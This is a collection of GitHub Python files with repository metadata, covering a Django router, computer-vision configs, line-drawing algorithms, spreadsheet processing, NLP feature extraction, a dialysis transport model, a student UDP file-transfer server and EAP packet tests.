+{"seq_id":"41602609570","text":"from django.urls import include, path\nfrom rest_framework.routers import DefaultRouter\n\nfrom api_v1.views import (CategoryViewSet, CommentViewSet, GenreViewSet,\n                          RegisterView, ReviewViewSet, TitleViewSet, TokenView,\n                          UserViewSet)\n\nrouter_v1 = DefaultRouter()\nrouter_v1.register(r\"users\", UserViewSet, basename=\"Users\")\nrouter_v1.register(r\"genres\", GenreViewSet, basename=\"GenreModel\", )\nrouter_v1.register(r\"categories\", CategoryViewSet, basename=\"CategoryModel\", )\nrouter_v1.register(r\"titles\", TitleViewSet, basename=\"TitleModel\"),\nrouter_v1.register(r\"titles/(?P<title_id>\\d+)/reviews\",\n                   ReviewViewSet, basename=\"ReviewModel\")\nrouter_v1.register(\n    r\"titles/(?P<title_id>\\d+)/reviews/(?P<review_id>\\d+)/comments\",\n    CommentViewSet, basename=\"CommentModel\", )\n\nurlpatterns_WHY = [\n    path('email/', RegisterView.as_view(),\n         name='get_confirmation_code'),\n    path('token/', TokenView.as_view(), name='get_token'),\n]\n\nurlpatterns = [\n    path('v1/', include(router_v1.urls)),\n    path('v1/auth/', include(urlpatterns_WHY))\n]\n","repo_name":"MBohdan/yamdb_final","sub_path":"api_v1/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"7428871173","text":"# from SSD.ssd.modeling.backbones.fpn import FPN\r\nfrom .t2b_data_augmentation import (\r\n    train, optimizer, schedulers,\r\n    loss_objective,\r\n    model, \r\n    # backbone,\r\n    data_train,\r\n    data_val,\r\n    val_cpu_transform,\r\n    train_cpu_transform, \r\n    gpu_transform,\r\n    label_map,\r\n    anchors)\r\n\r\ntrain.imshape = (128, 1024)\r\n\r\nfrom tops.config import LazyCall as L\r\nimport torch\r\nimport numpy as np\r\nfrom ssd.modeling.backbones.ResNet import FPN\r\n\r\nbackbone = L(FPN)(\r\n    output_channels = [64, 128, 256, 512, 64, 64]\r\n)\r\n","repo_name":"AndreasVolley/Datavision-final-project","sub_path":"SSD/configs/test_anchors/t2c_resNet.py","file_name":"t2c_resNet.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"43723502408","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Aug  1 22:22:04 2018\r\n\r\n@author: Toby\r\n\"\"\"\r\nnumber=score=sum=0\r\nwhile(score!=-1):\r\n    number+=1\r\n    sum+=score\r\n    score=int(input(\"請輸入第%d位學生的成績:\"%(number)))\r\nprint(\"本班平均成績:%d分,平均成績:%5.2f分\"%(sum,sum/(number-1)))\r\n    ","repo_name":"paul33931029/python-beginner","sub_path":"我做的程式/ch03/while迴圈計算班級成績.py","file_name":"while迴圈計算班級成績.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"9112585125","text":"import sys\nfrom kb import KB, Boolean, Integer, Constant\n\n# Define our symbols\nA = Boolean('A')\nB = Boolean('B')\nC = Boolean('C')\n\n# Create a new knowledge base\nkb = KB()\n\n# Add clauses\nkb.add_clause(A, B, C)\nkb.add_clause(~A, B)\nkb.add_clause(~B, C)\nkb.add_clause(B, ~C)\n\n# Print all models of the knowledge base\nfor model in kb.models():\n    print(model)\n\n# Print out whether the KB is satisfiable (if there are no models, it is not satisfiable)\nprint(kb.satisfiable())\n","repo_name":"timothyyu/ml_monorepo","sub_path":"schnapsen/bots/kbbot/test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","stars":59,"dataset":"github-code","pt":"21"}
+{"seq_id":"10396885283","text":"#### Code Snippet 1 ####\n\nimport cv2\nimport numpy as np\nimport datetime\ndef swap(a,b):\n    a = a+b\n    b = a-b\n    a = a-b\n    return a, b\ndef basic_alg_xstretch(x0, y0, x1, y1, imgparx):\n    if x1 < x0:\n        x0, x1 = swap(x0, x1)\n        y0, y1 = swap(y0, y1)\n    diffx = x1 - x0\n    diffy = y1 - y0\n    loopstart = datetime.datetime.now()\n    for i in range(0,diffx):\n        x = x0 + i\n        y = int(diffy/diffx*i+y0)\n        imgparx[x,y] = 1\n    loopend = datetime.datetime.now()\n    looptime = loopend - loopstart\n    return imgparx, looptime.microseconds\n\ndef basic_alg_ystrech(x0, y0, x1, y1, imgpary):\n    if y1 < y0:\n        x0, x1 = swap(x0, x1)\n        y0, y1 = swap(y0, y1)\n    diffx = x1 - x0\n    diffy = y1 - y0\n    loopstart = datetime.datetime.now()\n    for i in range(0, diffy):\n        y = y0 + i\n        x = int(diffx / diffy * i + x0)\n        imgpary[x, y] = 1\n    loopend = datetime.datetime.now()\n    looptime = loopend - loopstart\n    return imgpary, looptime.microseconds\n\ndef basic_alg_xparallel(x0, y0, x1, y1, imgx):\n    if x1 < x0:\n        x0, x1 = swap(x0, x1)\n    diffx = x1 - x0\n    loopstart = datetime.datetime.now()\n    for i in range(0,diffx):\n        x = x0 + i\n        imgx[x,y0] = 1\n    loopend = datetime.datetime.now()\n    looptime = loopend - loopstart\n    return imgx, looptime.microseconds\n\n\ndef basic_alg_yparallel(x0, y0, x1, y1, imgy):\n    if y1 < y0:\n        y0, y1 = swap(y0, y1)\n    diffy = y1 - y0\n    loopstart = datetime.datetime.now()\n    for i in range(0, diffy):\n        y = y0 + i\n        imgy[x0, y] = 1\n    loopend = datetime.datetime.now()\n    looptime = loopend - loopstart\n    return imgy, looptime.microseconds\n\n\ndef basic_alg(x0, y0, x1, y1, imgtemp):\n    diffx = abs(x1 - x0)\n    diffy = abs(y1 - y0)\n    if diffx == 0:\n        imret, timeret = basic_alg_yparallel(x0, y0, x1, y1, imgtemp)\n    elif diffy == 0:\n        imret, timeret = basic_alg_xparallel(x0, y0, x1, y1, imgtemp)\n    elif diffx >= diffy:\n        imret, timeret = basic_alg_xstretch(x0, y0, x1, y1, imgtemp)\n    elif diffx < diffy:\n        imret, timeret = basic_alg_ystrech(x0, y0, x1, y1, imgtemp)\n    return imret, timeret\n\ndef plotLineLow(x0,y0, x1,y1, imglow):\n  dx, dy, yi = x1 - x0 , y1 - y0, 1\n  if dy < 0:\n    yi, dy = -1, -dy\n  D, y = 2*dy - dx, y0\n  loopstart = datetime.datetime.now()\n  for x in range(x0,x1):\n    imglow[x,y] = 1\n    if D > 0:\n       y, D = y + yi, D - 2*dx\n    D = D + 2*dy\n  loopend = datetime.datetime.now()\n  looptime = loopend - loopstart\n\n  return imglow, looptime.microseconds\n\ndef plotLineHigh(x0,y0, x1,y1, imhigh):\n  dx,dy,xi = x1 - x0,y1 - y0,1\n  if dx < 0:\n    xi, dx = -1 , -dx\n  D, x = 2*dx - dy, x0\n\n  loopstart = datetime.datetime.now()\n  for y in range(y0 , y1):\n    imhigh[x,y] = 1\n    if D > 0:\n       x, D = x + xi , D - 2*dy\n    D = D + 2*dx\n  loopend = datetime.datetime.now()\n  looptime = loopend - loopstart\n  return imhigh, looptime.microseconds\n\ndef brz(x0,y0, x1,y1, imgall):\n  if abs(y1 - y0) < abs(x1 - x0):\n    if x0 > x1 :\n      imret, timeret = plotLineLow(x1, y1, x0, y0, imgall)\n    else :\n      imret, timeret = plotLineLow(x0, y0, x1, y1, imgall)\n  else :\n    if y0 > y1:\n      imret, timeret = plotLineHigh(x1, y1, x0, y0, imgall)\n    else :\n      imret, timeret = plotLineHigh(x0, y0, x1, y1, imgall)\n  return imret, timeret\n\n\n","repo_name":"redwanUGA/computer-graphics-line-drawing-algorithm","sub_path":"timed_compgraph.py","file_name":"timed_compgraph.py","file_ext":"py","file_size_in_byte":3330,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"74514970931","text":"#! /usr/bin/python3\n\nimport string\n\nimport openpyxl\nfrom openpyxl import load_workbook\nfrom openpyxl import Workbook\nfrom openpyxl.compat import range\nfrom openpyxl.utils import get_column_letter\n\n# import your file \n\nwb = load_workbook(filename = 'IMPORTDATA.xlsx')\n\n# Assuming your sheet is named Sheet1 \n\nsheet_ranges = wb['Sheet1']\nsheet = wb.active\n\n# count num rows\nrow_count = sheet.max_row\n# count num columns\ncol_count = sheet.max_column\n\n# print a count to aid in debugging\n\nprint(\"Total Rows are\",row_count)\nprint(\"Total Columns are\",col_count)\n\n# variables to start the loop\n# startrow will read from second column to allow for a header\n# startcolumn is just first column\n\nstartrow = 2\nstartcolumn = 1\n\nwhile row_count >= startrow:\n\n    sheet.cell(row=1, column=1).value = sheet.cell(row=1, column=1).value\n    \n    col2 = startcolumn + 1\n    col3 = startcolumn + 2\n    col4 = startcolumn + 3\n\n# mark empty cells to easily identify for later use.  You could insert more code to not write anything as well\n# it's generally good to know what items are missing data and makes this run fast too\n\n    if str(sheet.cell(row=startrow, column=col2).value) == 'None':\n        data2 = \"EMPTY CELL\"\n    else:\n        data2 = str(sheet.cell(row=startrow, column=col2).value)\n        \n    if str(sheet.cell(row=startrow, column=col3).value) == 'None':\n        data3 = \"EMPTY CELL\"\n    else:\n        data3 = str(sheet.cell(row=startrow, column=col3).value)  \n        \n    if str(sheet.cell(row=startrow, column=col4).value) == 'None':\n        data4 = \"EMPTY CELL\"\n    else:\n        data4 = str(sheet.cell(row=startrow, column=col4).value) \n        \n       \n# you can combine data in numerous ways.  Here we make a list in one cell using the three data points and inserting some HTML along with new line characters.\n    \n    combined = '<UL>\\n<LI>\\n' + data2 + '\\n</LI>\\n<LI>\\n' + data3 + '\\n</LI>\\n<LI>\\n' + data4 + '\\n<\\LI>\\n</UL>\\n\\n'\n\n    sheet.cell(row=startrow, column=2).value = combined\n    \n    startrow = startrow + 1\n    \nsheet.cell(row=1, column=1).value = \"IDENT\"\nsheet.cell(row=1, column=2).value = \"COMBINED HTML DATA\"\n\n\n# clean extra cells\nstartrow = 1\nstartcolumn = 1\n\nwhile row_count >= startrow:\n\n    \n    col3 = startcolumn + 2\n    col4 = startcolumn + 3\n    col5 = startcolumn + 4\n\n\n    sheet.cell(row=startrow, column=col3).value = None\n    sheet.cell(row=startrow, column=col4).value = None\n    sheet.cell(row=startrow, column=col5).value = None\n\n\n    startrow = startrow + 1   \n\n\n\n# save new file called EXPORTFILE.xlsx\n\ndest_filename = 'EXPORTFILE.xlsx'\nwb.save(filename = dest_filename)\n\n# let us know it's done\n\nprint (\"work complete\")        \n","repo_name":"jdfthetech/ExcellentSnek","sub_path":"ExcellentSnek.py","file_name":"ExcellentSnek.py","file_ext":"py","file_size_in_byte":2668,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"20045487654","text":"#모듈을 import 하여 사용할 때와 스크립트 전체를 실행할 때를 구분\r\n#run.py이라는 모듈을 import 하여 사용할 경우 __name__ 은 run.py\r\n#\"python3.5 run.py\"와 같이 스크립트를 바로 실행할 때 __name__ 은 __main__ \r\n\r\n#test2.py\r\nfrom test1lib import *\r\n\r\ndef calc() :\r\n    i = add(10,20)\r\n    print(i)\r\n    i = substract(20,5)\r\n    print(i)\r\n    \r\nif __name__ == '__main__':\r\n    calc()\r\n\r\n## 스크립트 실행시 if __name__ 조건은 참이 되므로 calc() 실행","repo_name":"JohnHaan/cloudtechpython","sub_path":"20170710/Class_B/dolbam/test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"29375440611","text":"import sys, os\nsys.path.append(os.path.abspath(os.path.join(__file__, os.pardir, os.pardir, 'src')))\nfrom dataclass import Data\nfrom the import the\n\ndef test():\n    csv_filename = \"./data/auto93.csv\"\n    data_obj = Data(csv_filename)\n\n    t = the ()\n    dict_y = data_obj.cols.y\n    for index in range(0,len(dict_y)): # from the values list, find in which y col, you can insert a specific value\n        col = dict_y[index]\n        print (t.oo (col))\n    assert True\n    \n\n# test ()\n","repo_name":"sreedhara-aneesh/csc510-fall22-hw-g33","sub_path":"test/test_data.py","file_name":"test_data.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"16485619576","text":"import pandas as pd\nimport nltk\nfrom nltk.sentiment.vader import SentimentIntensityAnalyzer\n#nltk.download(['punkt','averaged_perceptron_tagger','vader_lexicon','stopwords','wordnet'])\npd.options.mode.chained_assignment = None\n\n# read review data\ndat = pd.read_csv(\"data/filtered_reviews.csv\")\ndat = dat.drop(columns=['book_id','ratings_count','review_likes','like_share'])\n\n# difference between user rating and average book rating\ndat[\"rating_diff\"] = dat[\"user_rating\"]-dat[\"avg_rating\"]\ndat = dat.drop(columns=['avg_rating'])\n\n# flag if review contains a quotation\ndat[\"quote\"] = dat[\"review_text\"].str.contains(\"\\\"\")\n\n# tokenize for review length (num words), avg sentence length, avg word length\ndat[\"tokenized_sents\"] = dat[\"review_text\"].apply(nltk.tokenize.sent_tokenize)\ndat[\"num_sentences\"] = dat[\"tokenized_sents\"].apply(len)\ndat[\"tokenized_words\"] = dat[\"review_text\"].apply(lambda review: [word.lower() for word in nltk.tokenize.word_tokenize(review) if word.isalpha()])\ndat[\"num_words\"] = dat[\"tokenized_words\"].apply(len)\ndat[\"avg_sent_len\"] = dat[\"num_words\"]/dat[\"num_sentences\"]\ndat[\"num_letters\"] = dat[\"tokenized_words\"].apply(lambda review: len([letter for word in review for letter in word]))\ndat[\"avg_word_len\"] = dat[\"num_letters\"]/dat[\"num_words\"]\ndat = dat.drop(columns=['review_text','num_sentences','num_letters'])\n\n# part of speech tagging\ndat[\"pos_tags\"] = dat[\"tokenized_words\"].apply(nltk.pos_tag)\n\ndef count_pos(pos_tags, pos):\n    counts = 0\n    for word in pos_tags:\n        if word[1][0] in pos:\n            counts += 1\n    return(counts)\n\ndat[\"verbs\"] = dat[\"pos_tags\"].apply(count_pos,pos=[\"V\"])\ndat[\"pct_verbs\"] = dat[\"verbs\"]/dat[\"num_words\"]\ndat[\"nouns\"] = dat[\"pos_tags\"].apply(count_pos,pos=[\"N\"])\ndat[\"pct_nouns\"] = dat[\"nouns\"]/dat[\"num_words\"]\ndat[\"adj\"] = dat[\"pos_tags\"].apply(count_pos,pos=[\"J\",\"R\"])\ndat[\"pct_adj\"] = dat[\"adj\"]/dat[\"num_words\"]\ndat = dat.drop(columns=['pos_tags','verbs','nouns','adj'])\n\n# sentiment analysis\nsid = SentimentIntensityAnalyzer()\n\ndef review_sentiment(review_sents):\n    comptot = 0\n    for sentence in review_sents:\n        scores = sid.polarity_scores(sentence)\n        comptot += scores['compound']\n    return(comptot/len(review_sents))\n\ndat[\"sentiment\"] = dat[\"tokenized_sents\"].apply(review_sentiment)\ndat = dat.drop(columns=['tokenized_sents'])\n\n# further text processing\n# remove stop words\nstopwords = nltk.corpus.stopwords.words('english')\ndat[\"tokenized_words\"] = dat[\"tokenized_words\"].apply(lambda review: [word for word in review if word not in stopwords])\n# lemmatization\nwnl = nltk.stem.wordnet.WordNetLemmatizer()\ndat[\"tokenized_words\"] = dat[\"tokenized_words\"].apply(lambda review: [wnl.lemmatize(word) for word in review])\n\ndata = data[[\"popular\",\"user_reviews\",\"days_since_review\",\"user_rating\",\"rating_diff\",\"num_words\",\"avg_word_len\",\"avg_sent_len\",\"pct_verbs\",\"pct_nouns\",\"pct_adj\",\"quote\",\"sentiment\",\"tokenized_words\"]]\n\n# save dataset\ndat.to_csv(\"tokenized_reviews.csv\", index=False)","repo_name":"bridgetdaly/goodreads_ML","sub_path":"features.py","file_name":"features.py","file_ext":"py","file_size_in_byte":2989,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"}
+{"seq_id":"22725561471","text":"\n\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Oct 28 13:20:58 2022\nload spydata and collect RMSE per solute\n@author: P70073624\n\"\"\"\n\n# a naive and incomplete demonstration on how to read a *.spydata file\nimport pickle\nimport tarfile\nimport numpy as np\nfrom values import *\nimport pandas as pd\nimport os\nimport glob\n# open a .spydata file\n\n#%%\ndef objective_fn(x, predicted_cd, Cp, V, df_cd, Vr, V_fill):\n    '''The objective function needed to be minimised'''\n    \n    \n    t = 240\n\n    predicted_cd, jv = rk(t, x, predicted_cd, Cp, V, df_cd, Vr, V_fill)\n\n    \n    return np.sqrt(((df_cd-predicted_cd.loc[df_cd.index])**2).sum(axis = 0))\n#%%\n#Runge-Kutta\ndef rk(t, x, predicted_cd, Cp, V, df_cd, Vr, V_fill):\n\n    Jv = []\n    \n    for timestep in range(0,t): \n        \n        cd = predicted_cd.loc[timestep]\n        \n        \"Apply Runge Kutta Formulas to find next value of y\"\n        k1, v1 = comdxdt(cd, timestep, x,  predicted_cd, Cp, V, df_cd, Vr, V_fill)\n        k2, v2 = comdxdt(cd + 0.5  *k1, timestep, x,  predicted_cd, Cp, V, df_cd, Vr, V_fill)\n        k3, v3 = comdxdt(cd + 0.5  *k2, timestep, x,  predicted_cd, Cp, V, df_cd, Vr, V_fill)\n        k4, v4 = comdxdt(cd + k3, timestep, x,  predicted_cd, Cp, V, df_cd, Vr, V_fill)\n        \n        # Update next value of y\n        cd = cd + (1 / 6.0)*(k1 + 2 * k2 + 2 * k3 + k4)\n        Jv.append( (1 / 6.0)*(v1 + 2 * v2 + 2 * v3 + v4))\n        #print(UF)\n        predicted_cd.loc[timestep+1] = cd\n        \n        \n    return (predicted_cd, Jv)\n\n\n# the differential equations\ndef comdxdt(cd, t, x, predicted_cd, Cp, V, df_cd, Vr, V_fill):\n    '''\n    \n\n    Parameters\n    ----------\n    cd : predicted dialysate concentration\n    t : timepoint\n        DESCRIPTION.\n    x : intial matrix\n        x[0:6] = MTAC\n        x[6:12] = fct\n        x[12:18] = SiCo\n        x[18] = QL\n    model : 1-6\n        DESCRIPTION.\n\n    Returns\n    -------\n    dxdt : conc gradient\n        derivative\n\n    '''\n    \n    solutes = [\"Urea\", \"Creatinine\", \"Sodium\", \"Phosphate\", \"Glucose\", \"Potassium\"]\n    PS_s = x[0:6] * 0.998 * abya0_s #fraction small pore surface area - Rippe, A THREE-PORE MODEL OF PERITONEAL TRANSPORT table 1\n    # print(PS_s)\n    #The current albumin value is from Joost.\n    #MTAC for large pores\n    PS_l = x[0:6] * 0.002 *abya0_l# Ref: two pore model-oberg,rippe, table 1, A0L/A0 value\n    \n    af = 16.18 * (1 - np.exp (-0.00077*V[t]))/13.3187\n    \n    delP = delP0 + ((V[t] - (V_fill+Vr))/490)#consider getting Vfill and Vr from the data file also\n    #peritoneal concentration gradient\n   \n    \n    pr = [RT * (Cp[t][i]-cd[i]) for i in range(len(solutes))]\n    sigmas_pr = sum([sigma_s[i]*pr[i] for i in range(len(solutes))])\n    sigmal_pr = sum([sigma_l[i]*pr[i] for i in range(len(solutes))])\n    # print(pr, sigmas_pr)\n\n    # #print(\"pr\", pr, sum(sigma_s*pr.ravel()))\n    # #volumetric flows across the pores\n    J_vC = af*alpha[0]*LS*(delP - sum(pr)) #ml/min\n    J_vS = af*alpha[1]*LS*(delP  - sigmas_pr) #ml/min\n    J_vL = af*alpha[2]*LS*(delP - sigmal_pr) #ml/min\n    # print(J_vC, J_vS, J_vL)\n\n    # #Peclet numbers\n    Pe_s = np.array([J_vS  * (1 - sigma_s[i])/(af*PS_s[i]) for i in range(len(solutes))])\n    Pe_l = np.array([J_vL  * (1 - sigma_l[i])/(af*PS_l[i]) for i in range(len(solutes))])\n    # print(Pe_s,Pe_l)\n    \n    # #solute flow rate\n    J_sS = (J_vS*(1-sigma_s)*(Cp[t]-cd*np.exp(-Pe_s))/(1-np.exp(-Pe_s))).ravel()\n    J_sL = (J_vL*(1-sigma_l)*(Cp[t]-cd*np.exp(-Pe_l))/(1-np.exp(-Pe_l))).ravel()\n    # print(J_sS, J_sL)\n\n    # #print(\"Js\", J_sS+J_sL)\n    dxdt = ((J_sS + J_sL)/V[t]-np.array(cd)*(J_vC + J_vS + J_vL)/V[t]).ravel()\n    # print(dxdt)\n    return (dxdt, J_vC+J_vS+J_vL)\n\nLS = 0.074 #ml/min/mmHg\n\n# fractional pore coefficients\nalpha = [0.020, 0.900, 0.080]\n\ndelP0 = 22 #mmHg\n\n# constant\nRT = 19.3 #mmHg per mmol/l\n  \n#small pore radius\nrs = 43 # Angstrom\n#large pore radius\nrl = 250\n\nsolutes = [\"Urea\", \"Creatinine\", \"Sodium\", \"Phosphate\", \"Glucose\", \"Potassium\"]\n#radius of molecules\nr = np.array([ 2.6, 3.0, 2.3, 2.77, 3.7, 2.8]) #the phosphate radius is approximated from its topological surface area\n#for radius, new paper by Oberg - https://journals.sagepub.com/doi/suppl/10.1177/08968608211069232\n#constants to calculate sigma\ngamma_s = r/rs\ngamma_l = r/rl\n\n\nabya0_s = 1+9/8*gamma_s*np.log(gamma_s)-1.56034*gamma_s+0.528155*gamma_s**2+\\\n    1.91521*gamma_s**3-2.81903*gamma_s**4+0.270788*gamma_s**5+1.10115*gamma_s**6+ 0.435933*gamma_s**7 #eq 21 two pore Ficoll\nabya0_l = 1+9/8*gamma_l*np.log(gamma_l)-1.56034*gamma_l+0.528155*gamma_l**2+\\\n    1.91521*gamma_l**3-2.81903*gamma_l**4+0.270788*gamma_l**5+1.10115*gamma_l**6+ 0.435933*gamma_l**7\n\n# #Osmotic reflection coefficients\nsigma_s = np.zeros(len(solutes))\nsigma_l = np.zeros(len(solutes))\nsigma = np.zeros(len(solutes))\n\nfor i in range(len(solutes)):\n    sigma_s[i] = 16/3 * (gamma_s[i])**2 - 20/3 * (gamma_s[i])**3 + 7/3 * (gamma_s[i])**4\n    sigma_l[i] = 16/3 * (gamma_l[i])**2 - 20/3 * (gamma_l[i])**3 + 7/3 * (gamma_l[i])**4\n    sigma[i] = alpha[0] + alpha[1] * sigma_s[i] + alpha[2] * sigma_l[i]\nsse_model7 = pd.DataFrame()\n#%%\nfolder = input(\"Do you want to start for 7_4 or 6_5? 7 or 6\")\nif folder == '7':\n    folder = '7_4ratio/'\nelif folder == '6':\n    folder = '6_5ratio/'\nfor file in map(os.path.basename,glob.glob('./spiderdata/'+folder+'m7_iteration*')):\n    print(file)\n    tar = tarfile.open('./spiderdata/'+folder+file, \"r\")\n    # extract all pickled files to the current working directory\n    tar.extractall()\n    extracted_files = tar.getnames()\n    for f in extracted_files:\n        if f.endswith('.pickle'):\n             with open(f, 'rb') as fdesc:\n                 data = pickle.loads(fdesc.read())\n                 df_OV = data['df_OV']\n                 trainlist = data['patientlist']\n    for item in os.listdir():\n        if item.endswith('npy') or  item.endswith('pickle'):\n            os.remove(item)                  \n#%%                 \n    x_avg = np.array(df_OV.loc['mean'])   \n    \n    solutes = [\"Urea\", \"Creatinine\", \"Sodium\", \"Phosphate\", \"Glucose\", \"Potassium\"]\n    \n    sse_train = pd.DataFrame(columns = trainlist)\n    \n    # sse in the training list\n    for pfile in trainlist:\n        predicted_cd, Cp, V, df_cd, Vr , V_fill = input_values(\"./patient_files/pig2/session1/\"+pfile)\n        V = V*1000\n        sse_train[pfile] = objective_fn(x_avg, predicted_cd, Cp, V, df_cd, Vr , V_fill)\n    \n    # sse in the test set in the same session\n    testlist = [files for files in os.listdir('patient_files/pig2/session1/') if files not in trainlist]\n    sse_test_same = pd.DataFrame(columns = testlist)\n    for pfile in testlist:\n        predicted_cd, Cp, V, df_cd,  Vr , V_fill = input_values(\"./patient_files/pig2/session1/\"+pfile) \n        V = V*1000\n        sse_test_same[pfile] = objective_fn(x_avg, predicted_cd, Cp, V, df_cd, Vr , V_fill)\n    \n    \n    # sse in the test set in the other session\n    testlist_other = [files for files in os.listdir('patient_files/pig2/session2/')]\n    sse_test_other = pd.DataFrame(columns = testlist_other)\n    for pfile in testlist_other:\n        predicted_cd, Cp, V, df_cd, Vr , V_fill = input_values(\"./patient_files/pig2/session2/\"+pfile)   \n        V = V*1000\n        sse_test_other[pfile] = objective_fn(x_avg, predicted_cd, Cp, V, df_cd, Vr , V_fill)\n    \n    \n    sse_model7 = pd.concat([sse_model7,sse_test_same.mean(axis = 1),sse_test_other.mean(axis = 1),sse_train.mean(axis = 1)], axis = 1)\n\n# keys = ['Test set-same session','SD1', 'Test set-other session','SD2', 'Training set', 'SD3']\n# result_m7 = pd.concat([sse_model7[0].mean(axis = 1),sse_model7[0].std(axis = 1),\n#                     sse_model7[1].mean(axis = 1),sse_model7[1].std(axis = 1),\n#                     sse_model7[2].mean(axis = 1),sse_model7[2].std(axis = 1)], axis = 1, \n#                    keys = keys)\n# result_m7.to_csv('./spiderdata/'+folder+'model7_persolute_sse.csv')\n","repo_name":"carliercomputationallab/PD-model-comparison-pigs","sub_path":"publication/sse_per_solute_model7.py","file_name":"sse_per_solute_model7.py","file_ext":"py","file_size_in_byte":7890,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"2971360942","text":"#Zeliha Döner 160401004\r\nimport socket\r\nfrom ftplib import FTP  \r\nimport os\r\nimport select\r\nimport time\r\nbuf=1024\r\n\r\n\r\ndef dosya_listele():\r\n    msg = \"Liste getir komutu\"\r\n    msgEn = msg.encode('utf-8')\r\n    s_s.sendto(msgEn, adres)\r\n    print(\"Sunucuda listeleniyor..\")\r\n\r\n    F=os.listdir()\r\n    Lists = []\r\n    for file in F:\r\n        Lists.append(file)\r\n    ListsStr = str(Lists)\r\n    ListsEn = ListsStr.encode('utf-8')\r\n    s_s.sendto(ListsEn, adres)\r\n\r\ndef getfunc():\r\n    file_name,adres=s_s.recvfrom(1024)\r\n    if os.path.exists(file_name)==True:\r\n        with open(file_name,\"rb\") as f:\r\n            data=f.read(buf)\r\n            while data!='':\r\n                s_s.sendto(data,adres)\r\n                data=f.read(buf)\r\n                print(\"Dosya gönderildi\")\r\n                break\r\n\r\ndef putfunc():\r\n    while True:\r\n        data, addr = s_s.recvfrom(1024)\r\n        data=data.decode('utf-8')\r\n        if data:\r\n            print (\"Dosya adı:\", data)\r\n            file_name = data.strip()\r\n\r\n        f = open(file_name, 'wb')\r\n\r\n        while True:\r\n            ready = select.select([s_s], [], [], 3)\r\n            if ready[0]:\r\n                data, addr = s_s.recvfrom(1024)\r\n                f.write(data)\r\n            else:\r\n                print (file_name, \"Bitti!\" )\r\n                f.close()\r\n                break\r\n\r\ns_ip=\"127.0.0.1\"\r\ns_port=42\r\n\r\ns_s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\r\ns_s.bind((s_ip,s_port))\r\n\r\n\r\nwhile True:\r\n    mesaj , adres = s_s.recvfrom(4096)\r\n    text = mesaj.decode('utf8')\r\n    t2 = text.split()\r\n    if t2[0] == \"listele\":\r\n        dosya_listele()\r\n    elif t2[0] == \"get\":\r\n        getfunc()\r\n    elif t2[0] == \"put\":\r\n        putfunc()\r\n    elif t2[0] == \"exit\":\r\n        print(\"Program sonlandırıldı\")\r\n        break\r\n\r\ns_s.close()","repo_name":"nyucel/blm304","sub_path":"vize/160401004/sunucu.py","file_name":"sunucu.py","file_ext":"py","file_size_in_byte":1810,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"21"}
+{"seq_id":"21038966525","text":"from flowsieve.packet.eap import eap, eap_identify, eap_md5_challenge\n\nfrom nose.tools import eq_\n\nfrom ryu.lib.packet import packet\n\nEAP_TEST_CASES = [\n    # EAP Sucess\n    (eap(code=0x03, identifier=0x12, length=4), b\"\\x03\\x12\\x00\\x04\"),\n    # EAP Failure\n    (eap(code=0x04, identifier=0x34, length=4), b\"\\x04\\x34\\x00\\x04\"),\n    # EAP Identity Request\n    (eap(code=0x01, identifier=0x56, length=5, type_=0x01,\n         data=eap_identify()), b\"\\x01\\x56\\x00\\x05\\x01\"),\n    # EAP Identity Response\n    (eap(code=0x02, identifier=0x78, length=10, type_=0x01,\n         data=eap_identify(\"hello\")), b\"\\x02\\x78\\x00\\x0a\\x01hello\"),\n    # EAP MD5 Challenge Request\n    (eap(code=0x01, identifier=0x9a, length=19, type_=0x04,\n         data=eap_md5_challenge(b\"testchallenge\")),\n     b\"\\x01\\x9a\\x00\\x13\\x04\\x0dtestchallenge\"),\n    # EAP MD5 Challenge Response\n    (eap(code=0x01, identifier=0xbc, length=18, type_=0x04,\n         data=eap_md5_challenge(b\"testresponse\")),\n     b\"\\x01\\xbc\\x00\\x12\\x04\\x0ctestresponse\"),\n    # EAP Unknown Request\n    (eap(code=0x01, identifier=0xde, length=13, type_=0xaa,\n         data=b\"hogehoge\"), b\"\\x01\\xde\\x00\\x0d\\xaahogehoge\"),\n]\n\n\ndef test_eap():\n    for (protocol, binary) in EAP_TEST_CASES:\n        yield check_parse_eap, protocol, binary\n        yield check_serialize_eap, protocol, binary\n\n\ndef check_parse_eap(p, b):\n    pkt = packet.Packet(data=b, protocols=None, parse_cls=eap)\n    pkt_eap = pkt.get_protocol(eap)\n\n    eq_(pkt_eap, p)\n\n\ndef check_serialize_eap(p, b):\n    pkt = packet.Packet()\n    pkt.add_protocol(p)\n    pkt.serialize()\n\n    eq_(pkt.data, b)\n","repo_name":"shimojo-lab/flowsieve","sub_path":"flowsieve/test/eap_test.py","file_name":"eap_test.py","file_ext":"py","file_size_in_byte":1599,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"}
